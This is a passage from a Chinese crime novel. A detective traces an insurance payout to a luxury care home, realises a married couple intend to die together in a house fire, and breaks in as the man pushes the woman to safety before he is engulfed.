迟昼不知道他离开后,那扇门内究竟发生了什么,只记得自己像游魂一样荡回附近时,撞见了眼眶血红、跌跌撞撞的楚遇。得知他没有自首,她什么也没说,只是死死抓着他的手腕,拖着他回了迟家。 迟安和蔡雨早已习惯,对此未置一词。二人像往常一样躲进那间小屋,但那天,只是面对面呆呆坐着,相顾无言。他几次想问,话到嘴边,却被她脸上那种惨烈的苍白堵了回去。 直到天边泛起狂暴的、越来越亮的红晕。 火。炽烈的焰。 它将抹去痕迹,它能重塑因果。 迟昼不知道那火是怎么燃起的。但烈焰腾空的一刻,一个念头便深植脑海—— 这把火......因他而起,为他而燃。 之后的事,记忆很模糊了。只剩下震撼到麻木的知觉,和一种近乎本能的跟随。他跟着身边那个仿佛随时会碎裂的影子,她走,他就走;她停,他就停。 那令严疏始终想不通的,那种毫无逻辑、近乎盲目的忠诚与顺从,其最深的根,就埋在那片映红天际的沉默灰烬里。 冲天的火光之中,一切就已烧铸成型。 十三年后,真相终于完整地摊在眼前。但却没有释然,只有沉重,沉得让人喘不过气。 迟昼太了解邹婷的癫狂与暴戾。 可那样一个被生活与病痛彻底碾碎、只剩下恨意与恐惧的女人,在遭遇了最为彻底的背叛和伤害后,竟会选择这样一种方式,为他们二人烧出一条能够继续前行的路。 一个疯狂失智、将伤害女儿当作宣泄的母亲,却将那最为残酷的身世秘密死死咽在肚子里,直直带进了坟墓。 那是保护?还是愧疚? 他无法分辨。 一个身患绝症、被恐惧和背叛彻底击穿的女人,在濒死的剧痛之中,竟能迸发出如此清醒、堪称壮烈的意志。 那是回光返照?还是临终疯狂? 他无法回答。 迟昼忽然觉得,自己曾经以为的,简单贫瘠的世界,竟也如此幽深难测,充满了逻辑无法解读的悖论。 人,究竟是什么样的存在? 心,又为何能同时容纳如此极端的暴烈与温柔、浑浊与澄澈、自私与牺牲? 他无法理解。 叙述者的语气跳脱而简略,可那扑面而来的绝望,还是扼住了他的呼吸。迟昼控制不住地想——那时的楚遇,甚至还不知道......那决绝的女人并非生母。 那个名为“母亲”的存在,无论多么虚幻、扭曲,终究是她用以锚定自身、确认存在的唯一坐标。 那曾是她......整个世界的基石。 而这最后的基石,却因为他,以最惨烈的方式,在她面前轰然点燃,焚烧殆尽。 他懦弱的少年时代里,唯一一次的不肯退缩,就在那个夜晚。 可那一刀,刺穿的不仅是一个女人的身体,更永久地扭曲了一个少女看待世界的方式。多年以后,这压抑与扭曲的种子,在命运错综的土壤里,竟又结出了恶果,以同一形式,再次杀死了一个女人。 溯其根源,仿佛一切悲剧的线头......都系在那把寒光闪烁的刀锋之上。 愧疚与沉痛终于决堤,如冰冷的潮水灌满胸腔。迟昼感到无法呼吸,他抓住胸口的衣襟,徒劳地拉扯,仿佛想把那块堵住气道的巨石挖出来。剧烈的咳嗽让他蜷缩,从沙发滑落到冰冷的地面,他却浑然未觉。 一切的一切,都始于一次莫名的孤勇,都源自一场惨烈的大火。 那么......是否也该以此终结? 这个念头轻飘飘地落下,仿佛踏雪无痕,却又重若千钧。 他瘫坐在那片无声的狼藉里,感觉自己正从最深处开始崩解。不是轰然倒塌,而是无声的、缓慢的、粉末般的溃散。 女人望着他,眼底那层常有的、清冷的薄冰彻底融化,被一种深沉的悲恸浸透,再无一丝伪装。 正如迟昼所言,沉默,才是他们之间最为牢固的联结。 无需言语,她便能感受的到——他的内心深处,已经到了断崖尽头。 她最为恐惧的终局,终究......还是发生了。 那道曾经几乎愈合的裂缝,如今已被彻底撕开,血肉模糊,再无弥合的可能。 她以为陈述出当年的真相,能卸下他背负了十三年的巨石。可她忘了,她的阿昼......骨子里始终存着的那份“良善”。 此刻,它正化作最锋利的刃,回刺他的心脏。 可有时候,她也不解。 那份沉默,那份对真相的缄口不言,眼睁睁看着一个生命被错位定义,这......真的还算良善吗? 那或许......更像一种重逾千斤的忠诚。 是她母亲终其一生都在渴望,却从未真正从楚怀平那里得到的东西。 母亲没能留住楚怀平,半生悲苦,终以痛苦作结。而她,分明留住了阿昼,为何最终......仍旧走向了绝望的末路? 一向运转精密、近乎冷酷的思维,此刻竟罕见地滞涩、混沌起来。迷雾深处,一个念头浮沉不定—— 为什么......偏偏要让她知晓身世的真相? 那些苦痛与狂乱都熬过来了,那个名为“迟昼”、曾让她割舍不下的锚点,也几乎要被放下了。 为什么......不能让她继续在那亦真亦假、虚实难辨的糊涂之中,混沌地走下去? 但这,已不重要了。 女人抬起沉痛的眼,迎上迟昼的视线。 十三年了。二人再一次的,同处一室,相顾无言。 ********* 由于被传唤人并未追究,严疏最终没有受到实质处分,只挨了赵队一顿劈头盖脸的训斥。 但这些,对他都已无关紧要。 传唤结束,一无所获。唯一能算得上进展的,是对那桩十三年前旧案的猜测,可时过境迁,证据湮灭,追查的可能微乎其微。 如今,在法律层面,他彻底失去了继续接触那两人的正当理由。 他曾说过,即便无路可走也要继续下去。可当真正的“无路”横亘在眼前时,才尝到名为束手无策的钝痛。 然而,心底那股执拗的不甘,却依然顽固地灼烧着。意识到这一点时,连严疏自己都觉得有些可笑。 严疏在办公室里枯坐了很久,把所有的线索、细节、面孔在脑子里过了无数遍,结论依然是无解的死局。 最终他犹豫片刻,驱车前往了城郊的康乐养老院。 事实上,自从查到王淑的下落,这里就成了他时常驻足的地方。他隔三差五就来,在王淑的房间里坐上一会儿,什么也不做,什么也不问,面对护工的询问,也只说是老人女儿的朋友。 他知道这毫无意义——一个罹患阿尔茨海默症的老人,不可能提供任何与案件有关的有效信息。 可他依然一次次地前来。 或许,在经历了太多的挫败与无力后,他内心深处也需要抓住点什么,哪怕只是安静地坐在那里,感受一个母亲尚存的、微弱的生命气息。虽然这于案情无益,却也能给他一种微弱的、仍在靠近真相的麻痹感,让他觉得一切仍然“正在进行”。 停好车,他熟门熟路地走进大堂,联系了护士长。等待的间隙,他放空自己,如同往常一样。 但今天好像有些不同。 李琳从走廊那头快步走来,却没有像往常那样直接引路,而是停在他面前,语气带着些微的困惑:“严先生?” 严疏心思还在别处,随口应道:“嗯,来看看王姨。” 李琳点了点头,但语气里的疑惑未消:“啊......小宁没跟您说吗?” 这个名字像一根细针,刺破了严疏神游的状态。他倏地抬眼,眉头拧起:“什么?” 李琳见他这副全然不知情的样子,心下明了:“是这样,小宁给她妈妈办了转院手续,”她解释着:“王姨现在已经不在我们这儿了。” 严疏怔在原地。 内心那根已绷至极致的弦,骤然发出尖锐的嗡鸣。转院?在这个时间点?为什么? 一个连自己是谁都快记不清的老人,对她早已构不成任何威胁。为什么偏偏是现在,要把人带走?带到哪里?她想做什么? 他强压下翻涌的疑窦,脸上挤出恰到好处的讶异,语气放得随意,像个刚听说消息的普通朋友:“这样啊,我还真不知道......什么时候的事?” 李琳见过他多次,在她看来,除了简宁,这位“严先生”来得最勤,想必是王姨的老熟人,因此不疑有他:“就昨天下午,您不知道也正常。” 昨天下午。 那种总是慢人一步的钝痛再次扼住了喉咙。严疏缓了缓呼吸,继续用闲聊的口吻问:“这么赶啊?” 爽朗的性子让李琳并未多想:“是啊,手续办完就把人接走了,我们也觉得挺突然的......其实小宁半年前就提过想换更好的环境,可能工作忙,一直拖到现在吧。急一点也能理解,不赶紧办,拖着拖着搞不好就又黄了......” 她絮叨着,严疏的疑云却越积越厚。 还是那个根本的问题——如果王淑是威胁,她早就该动手了,何必等到现在?大半年了,她当然已经认识到老太太相当无害,可既然如此,为何偏偏选在此时? 这突如其来的“着急”,透着说不出的古怪。 严疏打断李琳的絮叨,语气不自觉地紧了些:“她有说......转到哪家吗?” 话一出口,他意识到语气有些急,立刻扯出个生硬的笑容补救:“我今儿正好有空,想来看看阿姨。简宁可能在忙,我不太好打扰她......” “哦,理解理解,”李琳果然没起疑,点点头,透露道:“听说是去燕园了。那边条件好,可费用也高得吓人。虽然王姨可能没两年时间了,但她也真舍得啊,看来是最近挣到钱了......” 燕园? 严疏又是一愣。那是市里最好的一批私立疗养机构,费用不菲。心头的重压和种种阴暗猜测,因这个名字奇异地消散了些,取而代之的是一种突兀的莫名。 “这年头这么有孝心的孩子可不多了,”李琳还在感慨,“尤其是,她妈已经完全认不得她了......” 严疏默默听着。 他当然清楚,那女人的“孝心”底下涌动着何等暗流。甚至王淑的“认不得”......也未必尽是糊涂。 可是,对一个长期挣扎在记忆泥沼中的老人而言,能在燕园那样的地方安度余生,未尝不是一种安稳的归宿。 这大半年近乎偏执的追索,让他比谁都清楚一个事实——大多数人,或许宁愿活在精心编织的海市蜃楼之中。血淋淋的真相,未必是真正的礼物。清醒地活在痛苦里,需要的勇气......远超想象。 但是。 严疏抬起眼,目光穿过养老院明净的玻璃窗,投向远处灰蒙蒙的天空。 他的职责,就是亲手打碎那些看似安稳的幻梦,掘开被时光掩埋的真相——哪怕真相灼人,即便无人期待。 脚步,还不能停。 ———————————— 前往燕园的路上,那个疑问如同跗骨之疽——为什么是现在? 更深层、也更让严疏难以理解的是——为什么是“燕园”? 燕园疗养院,这座城市里颇为顶级的养老所之一,环境优渥、服务周到,费用也高昂得令人咂舌,严疏甚至知道不少领导都将长辈安置于此。 那几乎是另一个世界,无论从哪个角度看,都与迟昼、简宁的生活格格不入。 是她对李琳随口编造的谎言,只为留下一个“孝顺”的虚名吗?可这印象,对现在的她而言,又有什么意义? 在与那女人的无形角力中,严疏早已形成一种近乎本能的认知——她的每一个举动,背后必然有着精密的算计。 这一次,算计的又是什么? 带着满腹疑云,他驶入燕园的停车场,走向前台。 严疏亮出证件,为避免打草惊蛇,并未提及简宁,只要求查阅近期的入住登记。前台请示经理后,他在电脑屏幕上看到了名单——“王淑”二字赫然在列,入住时间正是昨天傍晚。 他的目光落在表格末尾的“账户状态”栏。简宁名后,标注着:长期储户。 “储户?”他皱眉询问。 前台探头看了一眼,解释地很直接:“我们支持按月或按年缴费。‘长期储户’,是指预先存入大额款项的客户。” 进来时,严疏已瞥见过园内宣传,对这里的年费已经有所耳闻——一年将近四十万。这样的地方,她竟成了“预存款用户”? 一股莫名的不安猛地攫住了他。严疏蹙紧眉头,声音不自觉带上了一丝急切:“能调出近期的缴费流水吗?” 前台操作了几下,一份详细的缴费报表便展现在了屏幕上。他迅速锁定“简宁”二字,目光急急向右扫去,落在“缴存金额”那一栏。 字符有些长。他对数字不太敏感,于是眯起眼,心里默数位数。 个、十、百、千、万、十万...... 百万。 呼吸骤然停滞。 一百五十万整。 这个数字......他见过。上一次,是在楚谕那份人身保险的理赔资料上。 那是焚身烈焰之后,她为二人留下的“保障”。而此刻,竟被全数取出,一分不剩地汇入了这里。 一瞬间,所有线索被这个数字强行焊接在了一起,发出刺眼而冰冷的光。 这绝不是孝心,也远超赎罪的范畴。 这更像是一种......了结前的托付。 一种清空账户、了无挂碍的托付——意味着那两个人,已经不再需要钱了。 几天前,迟昼那彻底崩解、宛如死灰的神情,猛然撞回严疏眼前。 严疏能听见自己粗重的呼吸,听见血液冲上耳膜的轰鸣。下一秒,他已转身朝外狂奔,将身后前台疑惑的呼唤彻底抛在脑后。 脑中只剩一个声音在尖锐嘶鸣,反复穿刺—— 要出事了。 ———————————— 严疏不知道自己是怎么发动车子的。意识重新聚拢时,车已在通往市区的路上疾驰,窗外的景物模糊成一片拉长的色带。他摸出手机,在通讯录里仓促翻找,拇指重重按在“李涵”的名字上。 电话刚被接起,严疏的话便劈头盖脸砸了过去,完全失了往日的沉稳:“快去迟昼家敲门!确认一下出没出事!快!” 电话那头的年轻刑警明显愣了一下:“师父?出什么......” “快去!”严疏的声音因为急切而嘶哑,“可能要出事!” 李涵虽不明所以,但师父语气里罕见的惊惶让他瞬间绷紧了神经:“明白!” 燕园环境清幽,代价便是远离尘嚣。来时不觉得,此刻这条路却仿佛如此漫长。严疏将油门踩得更深,仪表盘指针不断向右偏转。 手机终于再次响起,他立刻按下接听键。< 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不需要再等李涵确认了。 一个请假,一个......大概率也不会在岗。在这个寻常的工作日,他们同时消失了。 在这个......楚谕留下的保险金被一次性清空、迟昼精神状态彻底崩溃的时间节点。 刑警分队门口,简宁最后那句看似平静的询问,此刻带上了令人不寒而栗的意味。 他们恐怕......会走向自毁。 这个结论并非源于严密的逻辑推理,而是一种在漫长交锋中浸染出的、毛骨悚然的直觉。 那女人处心积虑,瞒天过海,连传唤都已安然度过,即便严疏仍旧不肯放手,但也不得不承认——从法律和证据层面看,她......已经成功了。真相已随烈焰埋葬,完美犯罪已然达成。 一个胜利者,怎么会走向绝路? 理智和逻辑上都说不通,但直觉在疯狂尖叫。此刻严疏脑海里反复闪现的,是迟昼那彻底灰败、宛如灵魂被撕裂的眼神,是那女人清冷面具之下,眼底深不见底的寒意与空洞。 这个案子从一开始,就在不断颠覆他对“动机”和“逻辑”的认知。 在那由极端情感、深沉愧疚与扭曲执念编织的罗网里,他所谓的“逻辑”,已不知被第几次颠覆、碾碎。 在那些深不见底的情感与人性纠葛面前,冰冷的逻辑......显得如此苍白无力。 手机再次响起,屏幕上跳动着李涵的名字。 严疏看着屏幕上跳动的名字,指尖冰凉。他慢慢将电话举到耳边。 “师父,”李涵的声音传来,带着证实了某种糟糕预料的沉重,“迟昼......也没去上班。” 果然。 严疏的目光投向车流前方,城市的天际线在远处起伏。他踩下油门的力道没有松懈,但一种深深的、冰冷的无力感,正顺着脊椎蔓延上来。 他好像知道他们可能在哪里,但仿佛......哪里都可能是终点。 冷汗无声地爬上脊背。严疏抓着手机的指节用力到发白,大脑在混乱中疯狂运转,试图从一片混沌里撕开一个口子。 记忆碎片飞速掠过——与迟昼的对峙,与简宁的对话,问询室里的每一句回答...... 前方车辆忽然亮起刺眼的刹车灯,严疏猛地踩下刹车,身体因惯性前倾。减速的同时,那抹骤然闯入视线的红色尾灯,忽然点醒了他。 ——“我们打算结婚了。也许......就在这几天。” 当时只觉是她虚晃一枪的敷衍,此刻却成了黑暗中唯一闪烁的坐标。 “民政局!”他对着尚未挂断的电话嘶喊出声,声音劈了岔,“去民政局!快!” 电话那头的李涵显然没跟上这跳跃的思路:“......啊?” “查他们有没有办结婚登记!现在就去!”严疏感觉自己的太阳穴在突突狂跳,“如果有人拦着不给查,就打给赵队,我会提前联系他!一定要快!” 李涵虽然不明所以,但师父话语里那种濒临断裂的急切让他不敢耽搁:“是!我这就去!” 挂断李涵的电话,严疏立刻拨给赵队。先前强行维持的冷静几乎瓦解,他有些语无伦次,几乎是在把破碎的信息往外倒:“赵队......养老院那边......一百五十万,楚谕的保险金,全存进去了......现在也找不到他们人,可能要出事......” 他断断续续说着自己的想法,末了几乎是在恳求:“我知道我缺乏说服力......但我太了解那两个人了!他俩像绑在一起的石头,走到这一步,一个沉了,另一个也不会浮着!” 电话那头是长久的沉默。赵队没有像往常那样斥责他异想天开,甚至没有打断他混乱的陈述。直到严疏说完,那片令人窒息的寂静才被打破,赵队的声音低沉地传来: “我会联系那边,给李涵开绿灯。” 严疏还没来得及松口气,赵队的声音就再次响起,更沉、更缓:“但是老严,这是最后一次。传唤无果之后,沈队已经往上递报告了。你......心里要有数。” 严疏感到一阵混合着感激与愤怒的灼烧感。 他能理解体制的界限,也能体会赵队的难处,却从未像现在一样不齿于所谓的“流程”、“体系”、“官僚”、“晋升”。 可最终,他只能咬着后槽牙应声:“......我明白。” 赵队叹了口气,挂断电话。他闭目静候,片刻之后手机果然响起,“李涵”二字跳跃闪烁。 他接通,没等对面完整说明情况,便公事公办地开了口:“我是刑警分队赵恒。现在可能存在特殊情况,请......” 严疏的车刚驶入城区,电话便再次响起。是李涵,声音里带着难以置信的兴奋颤抖:“师父,您真神了!他们两小时前刚登记完!您怎么知道的?” 没有预料中的如释重负,严疏的心反而像一块石头,直直坠向更深的冰渊。他沉默了一瞬,才涩声开口:“他们当时......什么状态?表情,言语,任何细节,什么都行。” 李涵顿了顿:“您稍等,我让经办人和您说。” 一阵窸窣声后,一个温和的女声接起电话:“您好,我是今天为那对情侣办理登记的工作人员,请问您想了解什么?” “那两个人,”严疏语速很快,带着压抑不住的焦灼,“办手续的时候,有没有什么异常?任何细微的都可以。” 这个问题很有些宽泛。工作人员蹙眉回想了几秒:“异常......好像也说不上。两个人看起来很亲密,填表、拍照都很配合,流程走得也快......”她犹豫了一下,“如果非要说有什么感觉......呃......大概是拍照的时候吧。两个人都在笑,但我在边上看着,就莫名觉得心里有点......不得劲?” 她斟酌着用词,试图捕捉那种模糊的玄妙感觉:“怎么说呢......不是不高兴,也不是紧张,就是......笑容没什么感染力,不像大多数准新人那种发自内心的开心吧。不过这其实也很常见啊,那种经历了五年十年爱情长跑的情侣,登记的时候也差不多是这样,已经没什么新鲜的了......” 长跑...... 真是个精准到残酷的词。 “明白了,谢谢。”严疏压着心头的焦躁,“另外,他们有提到......接下来的去向吗?” 工作人员这次回答得很快:“盖完章恭喜的时候我顺便问了,那位女士说没什么特别的......”她稍微回忆了一下,“她的原话是,‘我们要回家了’。” 我们,要回家了。 短短六个字,如此平平无奇,甚至带着一丝......尘埃落定的暖意。 严疏没再追问,等李涵接回电话后吩咐他赶回迟昼家,随后直接改道,也朝着城西而去。 距离在不断缩短,而那股不祥的预感却像深夜涨潮的海水,逐渐漫过了理智的堤岸。 36.叁拾陆 严疏一路风驰电掣,最后一个急转弯,小区大门终于撞入视线。 他把车胡乱甩在路边,冲了进去。刚跑到那个熟悉的小花园,心就猛地一沉——稀疏的人流正往外涌,神色慌张。 他拦住一个埋头快走的中年男人:“里面怎么了?” 男人头也不抬,脚步不停:“疏散!后面有栋楼起火了!” 起火了。 这个结果......没有带来多少意外,只有一种冰冷的、尘埃落定的窒息感。 严疏闭上眼,深吸一口气,然后猛地睁开,拔腿朝着那栋楼狂奔。 绕过楼角,景象骤然狰狞。灰黑色的浓烟正从一栋单元楼的窗户滚滚涌出,如同巨兽喘息。惊恐的居民像决堤的洪水,从楼道里倾泻而出,哭喊、咳嗽、催促声搅成一团。 严疏不管不顾,在人潮中逆流而上。电梯虽未停运,但已无人敢用,因此狭窄的楼梯间挤满了向下奔逃的住户,推搡、冲撞,每向上一步都异常艰难。 视线里全是晃动的人影和后脑勺,什么也分辨不出。某一瞬间,在这混乱的汹涌之中,一个模糊的念头忽然闪过脑海,快的没能抓住。 但眼下容不得他细想,只能凭着本能继续向上攀爬。 终于,六楼。 拐过最后一段墙角,那扇熟悉的门就在眼前。不再需要任何多余的观察,皮肤感知到的灼热空气和鼻腔里越来越浓的焦糊味,已经拉响了最为刺耳的警报。 “迟昼!开门!”他抡起拳头砸向门板,声音在嘈杂的背景音里显得嘶哑无力。 没有回应。只有门板后传来的、沉闷的嗡嗡声,和从门缝里渗出的、越来越滚烫的热浪。 砸门只持续了几秒。严疏随后猛地后退两步,蓄力、抬腿,用尽全身力气狠狠踹向门锁。 “砰——!” 厚重的防盗门发出闷响,剧烈震动,灰尘簌簌落下。 “砰——!!” 第二下,金属门框发出不堪重负的呻吟,向内凹陷。 他不知道踹了多少下,时间在每一次肌肉的爆发和反作用力的冲击中扭曲拉长。汗水迷了眼,喉咙被呛得火辣。 最后一次助跑,撞击。 “轰——!!!” 整扇门向内猛地崩开,发出一声巨响。巨大的反冲力让严疏一个趔趄,但他顾不上平衡,所有感官在门开的瞬间就被门后的景象攫住。 热浪混合着浓烟,如同有形的拳头,向他迎面砸来。 眼前的,早已不是那个他曾数次拜访的、宁静祥和的“家”。 浓烟像黑色的潮水从客厅深处翻卷而出,夹杂着窜动着艳红、橘黄的火舌,贪婪地舔舐着墙壁、天花板和一切可以燃烧的东西。那个餐桌已蜷缩成焦黑的骨架,远处的电视柜在烈焰中劈啪作响,墙上的相框玻璃炸裂、熔化。整个空间仿佛正被一只无形的手揉碎、碳化,发出低沉而恐怖的燃烧咆哮。 严疏的瞳孔因震惊收缩,但也仅仅一瞬。 他侧身避开门口窜出的火苗,按照记忆冲向厨房的位置。浓烟严重阻碍了视线,他凭借方位感摸索,指尖终于触到了冰凉的瓷砖边缘——是厨房的入口。 他冲进去,一把扯下挂在墙上的两条棉质毛巾,迅速拧开水龙头浇透。 “迟昼!”他一边将湿透的毛巾捂住口鼻,一边用嘶哑的声音再次大吼,声音淹没在火场的轰鸣里。 依旧无人应答。 他猫下腰,另一只手胡乱挥开眼前的浓烟,毫不犹豫地冲进那片翻腾的火海。 严疏冲过玄关拐角,眼前的景象让他的瞳孔再次紧缩。 视野所及,一片赤红。火焰如活物般在残存的家具骨骼上扭动、攀升,吞噬着一切可供燃烧的材质。头顶的吊灯在高温中发出细微的爆裂声,摇摇欲坠。热浪扭曲了空气,视野里的一切,都在疯狂地舞蹈、崩塌。 他顶着热风嘶吼,再无半分遮掩:“迟昼——!楚谕——!” 下一秒,视线穿过浓烟与摇曳的火幕,定格在阳台窗边。 两个人。 他们依偎在那里,身影在蒸腾的热浪与漫卷的黑烟中模糊、晃动,却异常紧密地重叠着,仿佛已经合而为一。 像是两道无声的剪影,镶嵌在窗外那片过于明亮的天光之中。 似乎是听到了声响,窗边的身影微微动了。 他们缓缓转过身,并肩而立,隔着这片正在怒吼燃烧的废墟,静静望向闯入者。 客厅并不宽敞,实际距离也许只有十步,但中间横亘着坍塌的桌椅、燃烧的织物、飞旋的灰烬,以及那堵看不见的、由高温与绝望凝结成的无形之墙。 他们的身影在扭曲的光影中显得飘渺、虚幻,像是随时会消散的蜃景。 严疏的视线终于穿透混沌,与二人对上。他张开嘴,呼喊却哽在喉头。 即便尘埃飞舞,即便光影摇曳,他依然看清了二人的脸。 日光从他们身后汹涌地灌入,驱散了一小片区域的烟尘,在二人周身勾勒出一圈淡金色的、短暂澄澈的光晕。 迟昼长身立于光影,翻腾的火焰正从客厅中央不断逼近,热风鼓动他的衣摆,他却站得异常舒展。那张脸上,几日前的撕心裂肺、阴郁颓丧已褪得干干净净,面容呈现出一种久违的、近乎柔和的平静,甚至依稀可见少年时代那模糊的清俊轮廓。 那是一种卸下所有重负后的清明。所有的爱意、愧疚、撕裂、挣扎,此刻都已归于沉寂,化作一片深海般的宁谧。 女人微微靠在他身侧,身形依偎,仿佛有些缺氧的轻颤,却更显依赖。她的脸上没有任何惊惶,唇角依旧挂着那抹熟悉的、若有若无的弧度,只是此刻,似乎卸去了所有的算计与冰冷,竟透出一种近乎天真的安然。 仿佛这黑烟弥漫的一切并非毁灭,而是一场......期待已久的归途。 从怀疑二人、追逐二人,再到与二人对峙,严疏见过他们紧绷的戒备,疏离的礼貌,乃至莫名的复杂。每一次,二人始终都戴着那副冰冷坚硬的面具,或周密防守,或清冷周旋,却从未流露出如此刻这般——自然松弛的、毫无防备的,近乎透明的释然。 严疏望着那两双映着火光却异常平静的眼睛,竟有刹那失语。有那么一刻,他忘了自己是为何而来,忘了身后咆哮的火海。 火在烧,楼在摇,时间在滴答倒数。 而他们三人,就这么隔着一片炽热的红海,无声对望。 曾经用语言布下迷宫、用试探织就罗网的双方,在这濒临崩塌的火场之中,第一次,也是最后一次,陷入了某种奇异的无言凝视。 咔——嚓! 茶几的一条腿在火焰舔舐下终于碳化断裂,整张桌子轰然翻倒,碎片四溅。 巨响将严疏从短暂的凝滞中惊醒。他猛地向前冲了两步,却被地上燃烧的杂物和翻倒的家具拦住了去路。 他只能再次嘶喊:“迟昼!别做傻事!” 窗边的两人静静伫立,身形在热浪中微微晃动,没有丝毫移动的意图。 火舌悄然卷上迟昼的裤脚,布料焦黑、蜷曲,明火因缺氧而明灭几次,却又不断有新的焰苗从边缘窜起,缓慢而执拗地向上蜿蜒。 两人靠得更紧了,彼此支撑,唯有沉重的、逐渐加剧的喘息声,透露出生理的极限正被挑战。 严疏在狼藉中艰难地寻找下脚之处,试图靠近,一道微哑的女声却穿过噼啪的燃烧声幽幽飘来,带着虚弱的气音和一丝难以名状的叹息:“严警官......这不正是......如你所愿?又何必......” 后面的字句消散在了火焰的咆哮里,严疏没有听清,却已如遭雷击,僵在原地。 如他所愿? 仿佛是的。他追寻大白的真相,渴望正义的伸张,希望罪恶付出代价。 可......好像也不是。 近来令他反复唾弃、深感不齿的,确实是那套“程序化的法理正义”——它束缚了他的手脚,让他功败垂成。 然而此刻,当他看向烈焰中那两道即将被吞噬的身影时,一股更深的茫然与不适攥紧了他。 他虽然未曾成功,但那两个人......分明正在付出代价——以一种极端的、惨烈的、完全超出法律框架的方式。 可......不该是这样。 不该这样不明不白、不清不楚,更不该没有审判、没有定罪,只有一场私密的、将所有是非恩怨、爱愧纠葛全部付之一炬的决绝焚毁。 这不是他想要的“真相大白”,也不是他认同的“法理制裁”,甚至让他感到一种悖论般的......无措与愤怒。 这种认知,让严疏陷入了前所未有的矛盾。 他一向黑白分明,坚信对错有界,可此刻,黑与白的界限仿佛正在高温之中模糊、熔解。他信奉的法理失败了,可他期待的“代价”正以另一种形式上演,可这形式本身,却又令他感到一种深切的、近乎本能的抗拒。 轰——! 头顶传来巨响,摇摇欲坠的吊灯终于彻底脱落,裹挟着火星和碎屑砸落在地,彻底封住了严疏前进的最后可能。烟尘暴起,热浪扑面。 巨响彻底震散了严疏混乱的思绪。他呛咳着抬起眼,在逐渐弥漫的浓烟中再次望向迟昼——那张脸上,是彻底平静后的空旷,眼神里没有恐惧,没有挣扎,只有一片深海般的安详。 那是一种彻底放弃挣扎、与命运和解后的异样沉静。 忘了是非,没有伤悲。 劝不动了。 这个认知,比四周的火焰更让严疏感到灼痛。那扇生门......可能早在他选择追查的那一刻,就已紧紧关上。 他闭了闭被熏得刺痛的眼睛。严疏不明白,两人这惨烈的默契究竟是如何达成,更无法理解,到底是何种羁绊......能让生死真正与共。 但他不能放弃。 他深吸一口灼烫的空气,换了一种方式,声音嘶哑却清晰,直刺那个看似平静的男人:“迟昼!她好不容易......才从过去爬出来!你就这样带着她一起死吗?!” 这句话像一颗投入死水的石子。迟昼原本松弛的肩线,几不可察地绷紧了。 严疏抓住这一丝松动,语速加快,明知有些地方扭曲了事实,此刻却也顾不得了:“她这辈子就没过过正常日子!眼看要和宋朗有个新开始了,又为了你,不惜把事情做绝!都到今天这一步了,你就拉她给你陪葬?迟昼,你已经对不起一个人了,还要对不起她吗?!” 这些话出口之时,严疏自己都感到一阵荒谬的扭曲。长达大半年的追踪,他唯一的目标,就是将真凶绳之以法。可此刻,他却在用近乎胡言乱语的方式颠倒是非、扭曲事实,只为从火海里抢下一个人——一个他原本用尽浑身解数想要制裁的人。 为什么?是因为自己步步紧逼,间接导致这个惨烈结局的负罪感?还是仅仅出于警察对生命的本能捍卫,无法眼睁睁看着任何一条生命在眼前消逝?抑或是......无法接受“正义”以这种全然失控的、黑暗的方式实现? 他无法分清。复杂的情绪拧成了一股粗粝的绳索,勒得他胸腔生疼。 但不论如何,这番并不高明、甚至有些卑劣的攻心之言,却产生了效果。 迟昼原本近乎凝固的平静,被骤然撕裂。跳跃的火苗已经攀上他的手臂,可灼烧的痛苦似乎未能传递到他的神经。他只是缓缓地、僵硬地转过头,看向身侧紧贴着的女人。 女人的衣摆也已蹿起火苗。缺氧让她脸色惨白,额头沁出冰冷的汗珠,顺着脸颊滑落,又被高温迅速蒸干。她微微喘息着,依赖地靠着他,显出罕见的脆弱与狼狈。 这一刻、这姿态,令时光仿佛倒流。迟昼迷茫的眼中,映出的不再是眼前这个面露痛苦的女人,而是多年前那个......总是带着伤痕、却又始终沉默隐忍的少女。 眼中那片归于死寂的平静,逐渐碎裂。某种深埋的、近乎本能的东西,在灰烬之中开始重新蠕动,再次凝聚。 迷茫渐渐被一种异常熟悉的眼神取代——多年前,他攥着刀站在邹婷面前时,也是同样的......决绝。 女人艰难地喘息,却感知到了他身体的僵硬和眼神的变化。她不自觉地攥紧了他的手,常年挂在唇边的那抹弧度彻底消失,嘶哑的声音里,多年来第一次泄露出真实的恐惧:“别......” 话音未落,迟昼动了。 被火焰舔舐过半的身体,爆发出了近乎蛮横的力量。他弯腰,手臂抄过女人的膝弯与后背,猛地将她横抱起来,踉跄着转向被坠落吊灯阻塞的方向。 女人意识到了他的意图,开始疯狂挣扎,可缺氧带来的眩晕和干呕让她力道涣散,手指最终从他灼热的衣衫上无力地滑脱。 “活着......要活着啊......”迟昼呢喃着,声音被火焰灼烧得破碎不堪,吞噬了他最后的叹息: “......楚遇。” 他抱着她,并未费神避过地上燃烧的杂物,直接踩踏而过,来到那盏熊熊燃烧、横亘在客厅中央的吊灯前。 地面滚烫,火星溅上皮肤,他却浑若未觉。 严疏立刻上前,隔着那堆燃烧的、噼啪作响的灯架残骸,伸出双臂。 迟昼最后看了怀中的人一眼,那双总是晦暗的眼眸里,此刻映着火光,亮得惊人。他牙关紧咬,用尽最后的力气,将她整个人从燃烧的障碍物上方,猛地推送过去。 如同交付一件稀世的珍宝,又如同推开一个沉重的枷锁。 “不,不......”女人尖叫着,声音却被热浪无情吞噬。她在空中徒劳地伸出手,却只撕下了半幅被烧坏的衣袖,身体最终不受控制地越过了火墙。 衣带在越过吊灯时被彻底点燃,火焰猛然窜起,瞬间燎过她的侧脸和脖颈,带来撕裂般的剧痛。可她却仿佛感觉不到,双眼充血,死死盯住浓烟中那个迅速被橘红吞没的身影。 她半边身子重重摔在客厅另一侧的地上,却立刻挣扎着要往回爬,如同扑火的飞蛾。 严疏一手接住她的上半身,一手用浸湿的毛巾奋力拍打她背上、发间的火焰,刺鼻的焦糊味弥漫开来。火苗渐熄,他迅速将另一块湿毛巾盖住她脖颈和脸颊上开始泛红起泡的伤口,隔绝了浓烟,也暂时摁住了她疯狂的扭动。 控制住她身上的火势,严疏喘息着抬头,望向窗边。 迟昼已经站不住了。 他蜷缩在玻璃窗下,烈焰彻底包裹了他,将他变成了一个摇曳的、模糊的火炬。火势愈发猛烈,热浪逼得严疏几乎无法睁眼。 他知道,到此为止了。 但在那片刺目的、跳跃的赤红中心,他似乎还是对上了一双眼睛——澄澈、释然,带着不可动摇的决绝,正被迅速攀升的痛苦吞噬。 